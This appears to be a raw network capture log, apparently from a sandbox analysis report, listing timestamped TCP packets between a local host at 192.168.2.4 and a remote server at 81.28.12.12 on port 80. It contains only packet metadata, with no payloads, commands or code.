Jun 29, 2024 08:05:04.757056952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757100105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.757132053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.757138968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757188082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757204056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757235050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.757249117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757255077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.757263899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.757312059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.761327982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761342049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761368990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761384010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761399031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761408091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.761408091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.761415958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761444092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.761447906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.761468887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.761491060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765350103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765373945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765419960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765433073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765458107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765487909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765502930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765517950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765532970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765559912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765559912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.765786886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765801907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.765845060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.780437946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780508995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780534029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780556917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780570984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.780571938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780587912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780595064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.780602932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.780615091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.780638933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.783910990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784141064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784154892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784162045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784168959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784176111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784183025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784190893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.784332991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.788891077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.788945913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.788960934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.788975000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789036036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.789068937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789107084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789113045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.789123058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789148092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789150953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.789161921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.789171934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.789218903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.789218903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.794253111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794269085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794284105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794317961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.794341087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.794353008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794368982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794419050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.794440985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794455051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794469118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.794483900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.794512033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.799015999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799029112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799088001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.799130917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799146891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799161911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799177885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.799182892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799197912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799212933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.799218893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.799236059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.799252033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802598000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802620888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802659035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802680969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802716017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802740097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802755117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802768946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802787066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802800894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802812099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802813053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802824974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.802853107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.802884102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.808006048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808053017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808065891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808089972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808105946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808121920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.808171034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.808206081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808221102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808234930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.808264017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.808295012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.812793970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.812808037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.812844038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.812851906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.812885046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.812901020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.812916994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.812946081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.812968969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.812990904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.813007116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.813021898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.813055038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.813083887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.817832947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.817857027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.817872047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.817912102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.817944050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.817984104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.817998886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.818016052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.818053961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.818059921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.818084955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.818114042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.824377060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824435949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824450970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824533939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.824533939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.824656010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824692011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824726105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824745893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.824767113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.824815989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.824856997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830492020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830526114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830559969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830580950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830600977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830648899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830691099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830735922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830785990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830805063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830847979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830862999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830885887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.830909014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.830956936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.833421946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833455086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833506107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.833527088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833558083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833580971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.833600998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.833647013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833678961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.833698034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.833714962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.936734915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.936825037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.936861038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.936893940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.936928988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.936964035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937025070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937067986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937099934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937141895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937175989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937196016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937218904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937262058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937308073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937477112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937505960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937580109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937853098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937908888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.937966108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.937994957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.938019037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.938046932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.938088894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.938122034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.938142061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.938165903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.938191891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.938241005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939028025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939079046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939142942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939193010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939214945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939249039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939271927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939299107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939326048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939373970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939543009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939570904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939593077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939610958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939641953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939692020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939722061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939754009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939778090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939817905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.939848900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.939953089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940452099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940532923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940589905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940618992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940640926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940666914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940692902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940736055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940749884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940777063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.940803051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.940851927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941250086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941301107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941323996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941355944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941378117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941404104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941431999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941476107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941503048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941534996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.941554070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.941579103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942462921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942513943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942538023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942580938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942608118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942650080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942663908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942691088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942715883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942764044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.942948103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942976952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.942998886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943016052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943100929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.943134069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.943156004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943177938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943207979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.943239927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.943263054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943289042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.943936110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.943984032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944010973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944045067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944067955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944096088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944118977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944166899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944219112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944247961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944267988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944288969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944724083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944768906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944796085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944828033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944847107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944869041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944928885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.944977999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.944999933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.945041895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.945055962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.945080996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.945575953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.945610046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.945677042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234411955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234487057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234518051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234549046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234584093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234627962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234656096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234699011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234713078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234740973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234777927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234822989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234850883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234884024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234916925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.234935999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234966993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.234988928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235106945 CEST	49731	80	192.168.2.4	81.28.12.12
